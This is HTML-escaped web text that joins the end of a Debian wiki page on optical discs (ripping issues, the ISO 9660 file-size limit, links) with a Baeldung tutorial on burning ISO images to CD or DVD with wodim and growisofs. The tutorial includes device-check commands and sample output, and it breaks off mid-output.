&lt;li&gt;the source content (i.e., the audio or video (or both) on the optical disc) typically is not formatted like data in a &quot;normal&quot; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;FileSystem&quot;&gt;filesystem&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;the source content is often encrypted (e.g., with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Content_Scramble_System&quot;&gt;CSS&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;writing output &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Comparison_of_audio_coding_formats&quot;&gt;audio&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Comparison_of_container_formats&quot;&gt;video&lt;&#x2F;a&gt; files may require particular &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;MultimediaCodecs&quot;&gt;codecs&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;the user may want to include metadata (aka &lt;em&gt;tags&lt;&#x2F;em&gt;, e.g., artist name, work title, release date) in the output. This metadata will typically require some format, e.g., &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;WikiPedia&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ID3&quot;&gt;ID3&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This involves at least 3 separate problems (discussed in more detail &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;Ripping&quot;&gt;here&lt;&#x2F;a&gt;):&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;reading the optical disc (which this page is largely about)&lt;&#x2F;li&gt;
&lt;li&gt;writing to the desired output format&lt;&#x2F;li&gt;
&lt;li&gt;gathering or authoring metadata&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;faq&quot;&gt;FAQ&lt;&#x2F;h3&gt;
&lt;h5 id=&quot;4gb-per-file-limitation-in-iso-9660&quot;&gt;4GB per File limitation in ISO 9660&lt;&#x2F;h5&gt;
&lt;p&gt;Optical media are often filled with an ISO 9660 aka ECMA-119 filesystem. Data files of size 4 GiB or larger are allowed by the specification of ECMA-119 Level of Interchange 3 (mkisofs option -iso-level 3).&lt;&#x2F;p&gt;
&lt;p&gt;Nevertheless, Solaris and the BSDs are unable to properly represent such files when the filesystem is mounted. On such systems one may extract large files from ISO 9660 filesystems by help of program osirrox out of the source tarball of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;xorriso&#x2F;#download&quot;&gt;GNU xorriso&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h5 id=&quot;converting-dvd&quot;&gt;Converting DVD&lt;&#x2F;h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;lucasmanual.com&#x2F;mywiki&#x2F;DVD9toDVD5&quot;&gt;http:&#x2F;&#x2F;lucasmanual.com&#x2F;mywiki&#x2F;DVD9toDVD5&lt;&#x2F;a&gt; Dual layer (9G) Video DVD into single layer DVD (4.7G)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;lucasmanual.com&#x2F;mywiki&#x2F;DVD9toAVI&quot;&gt;http:&#x2F;&#x2F;lucasmanual.com&#x2F;mywiki&#x2F;DVD9toAVI&lt;&#x2F;a&gt; Convert DVD Video into AVI file.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;see-also-1&quot;&gt;See also&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd&quot;&gt;BurnCd&lt;&#x2F;a&gt; - working with CD&#x2F;DVD&#x2F;BD burners&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVDTools&quot;&gt;CD&#x2F;DVD Tools&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs&quot;&gt;ManipulatingISOs&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;external-links&quot;&gt;External links&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Optical_disc_drive&quot;&gt;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Optical_disc_drive&lt;&#x2F;a&gt; - Optical Disc Drive on Arch Linux wiki&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.yolinux.com&#x2F;TUTORIALS&#x2F;LinuxTutorialSysAdmin.html#MOUNTCD&quot;&gt;http:&#x2F;&#x2F;www.yolinux.com&#x2F;TUTORIALS&#x2F;LinuxTutorialSysAdmin.html#MOUNTCD&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.justlinux.com&#x2F;nhf&#x2F;Hardware&#x2F;Adding_an_IDE_CD-Writer_to_Linux.html&quot;&gt;http:&#x2F;&#x2F;www.justlinux.com&#x2F;nhf&#x2F;Hardware&#x2F;Adding_an_IDE_CD-Writer_to_Linux.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.tldp.org&#x2F;HOWTO&#x2F;CDROM-HOWTO&#x2F;&quot;&gt;http:&#x2F;&#x2F;www.tldp.org&#x2F;HOWTO&#x2F;CDROM-HOWTO&#x2F;&lt;&#x2F;a&gt; The Linux CD-ROM HowTo&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.tldp.org&#x2F;HOWTO&#x2F;Hardware-HOWTO&#x2F;cdrom.html&quot;&gt;http:&#x2F;&#x2F;www.tldp.org&#x2F;HOWTO&#x2F;Hardware-HOWTO&#x2F;cdrom.html&lt;&#x2F;a&gt; Compatibility HowTo&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.tldp.org&#x2F;HOWTO&#x2F;Filesystems-HOWTO-8.html&quot;&gt;http:&#x2F;&#x2F;www.tldp.org&#x2F;HOWTO&#x2F;Filesystems-HOWTO-8.html&lt;&#x2F;a&gt; 9660 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;FileSystem&quot;&gt;FileSystem&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.tldp.org&#x2F;HOWTO&#x2F;Bootdisk-HOWTO&#x2F;cd-roms.html&quot;&gt;http:&#x2F;&#x2F;www.tldp.org&#x2F;HOWTO&#x2F;Bootdisk-HOWTO&#x2F;cd-roms.html&lt;&#x2F;a&gt; Bootable CD-ROM HowTo&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ToDo&quot;&gt;ToDo&lt;&#x2F;a&gt;: refactor, merge other CD&#x2F;DVD related pages&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-to-burn-a-cd-or-dvd-iso-in-the-linux-terminal-baeldung-on-linux&quot;&gt;How to Burn a CD or DVD ISO in the Linux Terminal | Baeldung on Linux&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-overview&quot;&gt;1. Overview&lt;&#x2F;h3&gt;
&lt;p&gt;An &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;linux&#x2F;mount-unmount-filesystems#2-iso-files&quot;&gt;ISO file&lt;&#x2F;a&gt; comprises data, a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;linux&#x2F;filesystems&quot;&gt;file system&lt;&#x2F;a&gt;, and a directory structure organized in sectors. Usually, ISO files are a copy of a CD, DVD, or Blu-ray disk for operating systems and other software. &lt;strong&gt;An ISO file is also known as an ISO image&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In this tutorial, we’ll learn how to burn an ISO file to a CD or DVD in the Linux terminal using two commands:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;wodim&quot;&gt;wodim&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;growisofs&quot;&gt;growisofs&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;We’ll install them, explore how they work, and burn an optical disk with each.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-optical-disk-drive-and-burn-support&quot;&gt;2. Optical Disk Drive and Burn Support&lt;&#x2F;h3&gt;
&lt;p&gt;The first step in burning ISO files to a CD or DVD is to locate the optical disk drive’s path. Also, we might need to make sure the system supports CD or DVD burning.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-1-proc&quot;&gt;2.1.  &lt;em&gt;&#x2F;proc&lt;&#x2F;em&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;First, using the &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;linux&#x2F;ipv6-disable#the-proc-pseudo-filesystem-and-the-sysctl-tool&quot;&gt;&#x2F;proc&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; directory and the &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;linux&#x2F;cat-writing-file#the-cat-command&quot;&gt;cat&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; command, let’s check if our system supports CD or DVD burning:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ cat &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;dev&amp;#x2F;cdrom&amp;#x2F;info

CD-ROM information, Id: cdrom.c 3.20 2003&amp;#x2F;12&amp;#x2F;17

drive name: sr0
drive speed: 24
...
Can play audio: 1
Can write CD-R: 1
Can write CD-RW: 1
Can read DVD: 1
Can write DVD-R: 1
Can write DVD-RAM: 1
Can read MRW: 1
Can write MRW: 1
Can write RAM: 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Specifically, &lt;strong&gt;our attention falls on&lt;&#x2F;strong&gt;&lt;em&gt;&lt;strong&gt;Can write DVD-R&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;strong&gt;in the command’s output&lt;&#x2F;strong&gt;. The system supports DVD writing if the value is &lt;em&gt;1&lt;&#x2F;em&gt;. Thus, the system ought to contain at least one piece of hardware that can write DVDs.&lt;&#x2F;p&gt;
&lt;p&gt;Notably, &lt;strong&gt;the drive name supporting the DVD write is&lt;&#x2F;strong&gt;&lt;em&gt;&lt;strong&gt;sr0&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt; &lt;strong&gt;, hence, the full path to the DVD writer is&lt;&#x2F;strong&gt; &lt;em&gt;&lt;strong&gt;&#x2F;dev&#x2F;sr0&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-2-lsblk&quot;&gt;2.2. &lt;em&gt;lsblk&lt;&#x2F;em&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Alternatively, we can check where our DVD writer is located using the &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;linux&#x2F;check-disk-encryption#lsblk&quot;&gt;lsblk&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; command:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
...
sda      8:0    0 465.8G  0 disk
├─sda1   8:1    0     1M  0 part
├─sda2   8:2    0   513M  0 part &amp;#x2F;boot&amp;#x2F;efi
└─sda3   8:3    0 465.3G  0 part &amp;#x2F;
sr0     11:0    1     0B  0 rom
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here, the output highlights the presence of our target, &lt;em&gt;sr0&lt;&#x2F;em&gt;with &lt;em&gt;0B&lt;&#x2F;em&gt; showing that the DVD is blank. Also, &lt;strong&gt;we use this step to examine if we have more than one DVD device on our system.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-3-lsscsi&quot;&gt;2.3. &lt;em&gt;lsscsi&lt;&#x2F;em&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;However, we can also opt for the &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;linux&#x2F;raid-information-command-line#5-lsscsi&quot;&gt;lsscsi&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; command, which uses information in the Linux kernel to list &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;linux&#x2F;logical-volume-management-problems#6-prevention-disable-scsi-write-caching&quot;&gt;SCSI&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;linux&#x2F;extend-logical-extended-partitions-fdisk#2-master-boot-record&quot;&gt;NVMe&lt;&#x2F;a&gt; devices attached to a system:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ lsscsi
[0:0:0:0]    disk    ATA      WDC WD5000AAKX-6 1H16  &amp;#x2F;dev&amp;#x2F;sda
[1:0:0:0]    cd&amp;#x2F;dvd  TSSTcorp DVD+-RW SN-208BB D300  &amp;#x2F;dev&amp;#x2F;sr0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;From the output, we can identify the type of disk drive we have. Specifically, &lt;em&gt;DVD+-RW&lt;&#x2F;em&gt; indicates a readable and writable DVD disk.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-using-the-wodim-command&quot;&gt;3. Using the &lt;em&gt;wodim&lt;&#x2F;em&gt; Command&lt;&#x2F;h3&gt;
&lt;p&gt;***&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;wodim&quot;&gt;wodim&lt;&#x2F;a&gt;&lt;em&gt;&lt;strong&gt;&lt;strong&gt;is the main tool provided by the&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;source&#x2F;cdrkit&quot;&gt;cdrkit&lt;&#x2F;a&gt;***&lt;strong&gt;project for writing data to optical media like CDs and DVDs&lt;&#x2F;strong&gt;. &lt;em&gt;wodim&lt;&#x2F;em&gt; replaced &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;cdrecord&quot;&gt;cdrecord&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; in many Linux distributions as the default command-line tool for burning optical discs.&lt;&#x2F;p&gt;
&lt;p&gt;Initially, &lt;em&gt;cdrecord&lt;&#x2F;em&gt; was part of the &lt;em&gt;cdrtools&lt;&#x2F;em&gt; package and was widely used for burning discs. However, due to licensing concerns surrounding &lt;em&gt;cdrtools,&lt;&#x2F;em&gt;  the &lt;em&gt;cdrecord&lt;&#x2F;em&gt; tool was replaced by &lt;em&gt;wodim&lt;&#x2F;em&gt;. Thus, &lt;strong&gt;we’ll use the&lt;&#x2F;strong&gt;&lt;em&gt;&lt;strong&gt;wodim&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;strong&gt;command to burn a DVD ISO from the Linux terminal&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-1-installing-wodim&quot;&gt;3.1. Installing &lt;em&gt;wodim&lt;&#x2F;em&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Of course, to burn an ISO file using the &lt;em&gt;wodim&lt;&#x2F;em&gt; tool, we must first have the command on the system &lt;strong&gt;.&lt;&#x2F;strong&gt; Specifically,&lt;strong&gt;we can install&lt;&#x2F;strong&gt;&lt;em&gt;&lt;strong&gt;wodim&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;strong&gt;in Ubuntu using&lt;&#x2F;strong&gt;***&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;linux&#x2F;apt-vs-apt-get#the-apt-utility&quot;&gt;apt&lt;&#x2F;a&gt;*** &lt;em&gt;&lt;strong&gt;:&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ sudo apt install wodim
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Further, &lt;strong&gt;we can check the read and write capabilities of our disk drive with&lt;&#x2F;strong&gt;&lt;em&gt;&lt;strong&gt;wodim&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;strong&gt;using the&lt;&#x2F;strong&gt; &lt;em&gt;&lt;strong&gt;-prcap&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;strong&gt;flag&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ wodim -prcap
Device was not specified. Trying to find an appropriate drive...
Detected CD-R drive: &amp;#x2F;dev&amp;#x2F;sr0
Using &amp;#x2F;dev&amp;#x2F;cdrom of unknown capabilities
Device type    : Removable CD-ROM
Version        : 5
Response Format: 2
Capabilities   :
Vendor_info    : &amp;#x27;TSSTcorp&amp;#x27;
Identification : &amp;#x27;DVD+-RW SN-208BB&amp;#x27;
Revision       : &amp;#x27;D300&amp;#x27;
Device seems to be: Generic mmc2 DVD-R&amp;#x2F;DVD-RW.

Drive capabilities, per MMC-3 page 2A:

  Does read CD-R media
  Does write CD-R media
  Does read CD-RW media
  Does write CD-RW media
  Does read DVD-ROM media
  Does read DVD-R media
  Does write DVD-R media
  Does read DVD-RAM media
  Does write DVD-RAM media
  Does support test writing
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here, the  &lt;em&gt;-prcap&lt;&#x2F;em&gt; flag prints the disk drive’s capabilities for SCSI-3 MMC-compliant
drives. &lt;strong&gt;SCSI-3 MMC stands for SCSI-3 Multimedia Commands&lt;&#x2F;strong&gt;, a set of command standards that specifically focuses on controlling and managing multimedia devices, such as CD and DVD drives, within a computing environment.&lt;&#x2F;p&gt;
&lt;p&gt;Since we didn’t specify any device for the command, it searches through the system for a CD or DVD drive. Then, once it finds any device, the command prints its properties and capabilities.&lt;&#x2F;p&gt;
&lt;p&gt;Alternatively, this serves as another way to check where our DVD writer is located.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-2-burning-an-iso-image&quot;&gt;3.2. Burning an ISO Image&lt;&#x2F;h4&gt;
&lt;p&gt;Having confirmed the readiness of our system and the DVD drive, &lt;strong&gt;let’s burn the ISO to DVD using the&lt;&#x2F;strong&gt;&lt;em&gt;&lt;strong&gt;wodim&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;strong&gt;command&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ wodim -eject -tao speed=2 dev=&amp;#x2F;dev&amp;#x2F;sr0 -v -data myiso.iso
TOC Type: 1 = CD-ROM
scsidev: &amp;#x27;&amp;#x2F;dev&amp;#x2F;sr0&amp;#x27;
devname: &amp;#x27;&amp;#x2F;dev&amp;#x2F;sr0&amp;#x27;
scsibus: -2 target: -2 lun: -2
...
Track 01: Total bytes read&amp;#x2F;written: 3826831360&amp;#x2F;3826831360 (1868570 sectors).
Writing  time:  857.908s
Average write speed   3.3x.
Min drive buffer fill was 99%
Fixating...
Fixating time:   26.991s
wodim: fifo had 60277 puts and 60277 gets.
wodim: fifo was 0 times empty and 41284 times full, min fill was 94%.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s break down this command:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;-eject&lt;&#x2F;em&gt;ensures that once the burning process is complete, the DVD will be ejected automatically&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;-tao&lt;&#x2F;em&gt;allows us to track the process in a &lt;em&gt;Track-At-Once&lt;&#x2F;em&gt; writing mode&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;dev=&#x2F;dev&#x2F;sr0&lt;&#x2F;em&gt; specifies the device file for the DVD drive&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;speed=2&lt;&#x2F;em&gt;sets the burning speed to &lt;em&gt;2&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;-v&lt;&#x2F;em&gt; (verbose) enables us to track the recording progress&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;-data&lt;&#x2F;em&gt;indicates that we’re writing data to the DVD&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;However, &lt;strong&gt;if the DVD writing fails, we can try a slower speed to see whether that fixes the problem.&lt;&#x2F;strong&gt;  In fact, we can choose the slowest burn speed that is practically feasible for the lowest chance of an error.&lt;&#x2F;p&gt;
&lt;p&gt;Further, to see if the burning process was successful, we can check the DVD using the &lt;em&gt;lsblk&lt;&#x2F;em&gt; command:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
...
sda      8:0    0 465.8G  0 disk
├─sda1   8:1    0     1M  0 part
├─sda2   8:2    0   513M  0 part &amp;#x2F;boot&amp;#x2F;efi
└─sda3   8:3    0 465.3G  0 part &amp;#x2F;
sr0     11:0    1   3.6G  0 rom  &amp;#x2F;media&amp;#x2F;user&amp;#x2F;Ubuntu 22.04.1 LTS amd64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The result, &lt;em&gt;sr0 11:0 1 3.6G 0 rom &#x2F;media&#x2F;user&#x2F;Ubuntu 22.04.1 LTS amd64,&lt;&#x2F;em&gt;  indicates that the DVD now contains &lt;em&gt;3.6G&lt;&#x2F;em&gt; of data and now has the name of the ISO image burned on it.&lt;&#x2F;p&gt;
&lt;p&gt;Next, let’s look at how to use the &lt;em&gt;growisofs&lt;&#x2F;em&gt; command to achieve the same.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-using-growisofs&quot;&gt;4. Using &lt;em&gt;growisofs&lt;&#x2F;em&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;The&lt;&#x2F;strong&gt;&lt;em&gt;&lt;strong&gt;growisofs&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;strong&gt;command is a frontend command-line tool for&lt;&#x2F;strong&gt;***&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;genisoimage&quot;&gt;genisoimage&lt;&#x2F;a&gt;***&lt;strong&gt;that also serves as an optical disk recording program.&lt;&#x2F;strong&gt;  Thus, we can use it to burn an ISO to a DVD.&lt;&#x2F;p&gt;
&lt;p&gt;Similar to &lt;em&gt;wodim&lt;&#x2F;em&gt;, we can install &lt;em&gt;growisofs&lt;&#x2F;em&gt; using &lt;em&gt;apt&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo apt install growisofs
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, we can explore how to burn an ISO image to DVD using &lt;em&gt;growisofs&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ growisofs -Z &amp;#x2F;dev&amp;#x2F;sr0=&amp;#x2F;path&amp;#x2F;to&amp;#x2F;iso_file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s break down the command:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;-Z&lt;&#x2F;em&gt; indicates that we want to write the ISO to the disk&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&#x2F;dev&#x2F;sr0&lt;&#x2F;em&gt;is the DVD drive’s device name&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;&#x2F;path&#x2F;to&#x2F;iso_file&lt;&#x2F;em&gt; is the path to the ISO file&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;For example, &lt;strong&gt;let’s burn the&lt;&#x2F;strong&gt;&lt;em&gt;&lt;strong&gt;Ubuntu.iso&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;strong&gt;image located in a user’s&lt;&#x2F;strong&gt;&lt;em&gt;&lt;strong&gt;Download&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;strong&gt;directory&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ growisofs -Z &amp;#x2F;dev&amp;#x2F;sr0=&amp;#x2F;home&amp;#x2F;user_1&amp;#x2F;Downloads&amp;#x2F;Ubuntu.iso
Executing &amp;#x27;builtin_dd if=&amp;#x2F;home&amp;#x2F;user&amp;#x2F;ubuntu.iso of=&amp;#x2F;dev&amp;#x2F;sr0 obs=32k seek=0&amp;#x27;
&amp;#x2F;dev&amp;#x2F;sr0: &amp;quot;Current Write Speed&amp;quot; is 8.2x1352KBps.
          0&amp;#x2F;3826831360 ( 0.0%) @0x, remaining ??:?? RBU 100.0% UBU   0.0%
   20971520&amp;#x2F;3826831360 ( 0.5%) @3.5x, remaining 69:33 RBU 100.0% UBU  99.7%
...
  277544960&amp;#x2F;3826831360 ( 99.7%) @3.9x, remaining 0:03 RBU 13.4% UBU  32.4%
  294879232&amp;#x2F;3826831360 ( 99.9%) @3.8x, remaining 0:01 RBU 7.2% UBU  40.1%
builtin_dd: 1379040*2KB out @ average 1.6x1352KBps
